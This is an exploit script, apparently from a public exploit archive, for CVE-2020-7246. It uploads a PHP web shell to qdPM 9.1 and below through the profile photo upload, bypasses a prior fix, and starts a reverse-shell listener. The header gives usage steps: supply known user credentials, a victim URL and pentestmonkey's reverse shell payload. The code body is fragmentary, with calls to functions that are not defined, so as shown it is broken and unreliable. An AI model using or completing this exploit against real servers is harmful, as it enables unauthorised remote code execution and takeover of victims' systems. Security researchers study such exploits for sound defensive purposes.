# Title: qdPM Webshell Upload + RCE Exploit (qdPMv9.1 and below) (CVE-2020-7246)
# Author: Tobin Shields (@TobinShields)
#
# Description: This is an exploit to automatically upload a PHP web shell to
# the qdPM platform via the "upload a profile photo" feature.
# This method also bypasses the fix put into place from a previous CVE
#
# Usage: In order to leverage this exploit, you must know the credentials of
# at least one user. Then, you should modify the values highlighted below.
# You will also need a .php web shell payload to upload. This exploit
# was built and tested using the PHP script built by pentestmonkey:
# https://github.com/pentestmonkey/php-reverse-shell
#-------------------------------------------------------------------------------------

# Imports
from requests import Session
from bs4 import BeautifulSoup as bs
import socket
from multiprocessing import Process
import time

# CHANGE THESE VALUES-----------------------------------------------------------------
login_url = "http://[victim_domain]/path/to/qdPM/index.php/login"
username = "[email protected]"
password = "Pa$$w0rd"
payload = "/path/to/payload.php"

connection_delay = 2 # Increase this value if you have a slow connection and are experiencing issues
# ------------------------------------------------------------------------------------

# NOTE: We have to do this because qdPM adds a random number to the uploaded file
# EX: webshell.php becomes 1584009-webshell.php

# MAIN FUNCTION ----------------------------------------------------------------------
# The main function of this program establishes a unique session to issue the various POST requests
with Session() as s:
# Login as know user

# Remove Files
# You may need to modify this list if you suspect that there are more .htaccess files
# However, the default qdPM installation just had these two

# Upload payload
uploadPayload(payload)
# Get the payload URL

# Start a thread to trigger the script with a web request
process = Process(target=triggerShell, args=(s, payloadURL))
process.start()
# Create the backdoor listener and wait for the above request to trigger
